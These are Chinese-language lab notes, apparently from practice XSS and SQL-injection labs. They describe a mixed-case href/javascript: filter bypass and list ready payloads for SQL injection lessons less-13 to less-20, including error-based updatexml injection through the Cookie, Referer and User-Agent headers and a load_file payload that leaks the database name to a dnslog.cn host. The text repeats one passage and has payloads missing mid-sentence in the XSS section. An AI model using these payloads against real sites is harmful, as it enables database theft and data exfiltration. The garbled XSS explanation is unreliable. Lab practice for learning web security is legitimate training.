1.经测试替换了script,on,没有过滤<>。构造a标签,利用href属性支持javascript:伪协议构造poc,后台对href关键字进行替换,尝试采用大小写混写进行了绕过。

2.后台源代码分析。对get提交的keyword变量,替换<script 、on、src、data、href关键字,采用htmlspecialchars过滤后输出在html中
1.经测试替换了script,on,没有过滤<>。构造a标签,利用href属性支持javascript:伪协议构造poc,后台对href关键字进行替换,尝试采用大小写混写进行了绕过。

2.后台源代码分析。对get提交的keyword变量,替换<script 、on、src、data、href关键字,采用htmlspecialchars过滤后输出在html中
1.利用name参数提交poc,查看返回的html代码,需要构造闭合
2.构造闭合,浏览器响应poc。

3.后台源代码分析
获取浏览器提交的keyword值,未进行过滤,输出在。
如果是keyword提交的是,返回的就会是,javascript引擎并不会执行//,php处理后返回的html就会是 //“>,//是注释的作用,javascript引擎执行
less-20——基于’的Cookie:报头文报错注入
注入语句:
uname=’ union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;


less-19——基于’的Referer:报头文报错注入
注入语句: ‘,1,updatexml(1,concat(0x7e, database(),0x7e),1))#


less-18——基于’的User-Agent:报头文报错注入
注入语句:’,1,updatexml(1,concat(0x7e, database(),0x7e),1))#


less-17——基于’的密码报错注入
注入语句:’ and (updatexml(1,concat(0x7e, database(),0x7e),1))#


less-16——基于’的POST型注入(利用dns回显)
注入语句:admin”) and 1=1 –+

less-15——基于’的POST型注入(利用dns回显)
注入语句:admin’ and load_file(concat(“\\“,(database()),”.qyfyji.dnslog.cn\1.txt”)) –+
less-14——基于”的错误回显注入
注入语句:admin” union select updatexml(1,concat(0x7e,(select user()),0x7e),1) –+

less-13——基于’)的错误回显注入
注入语句:admin’) union select updatexml(1,concat(0x7e,(select user()),0x7e),1) –+
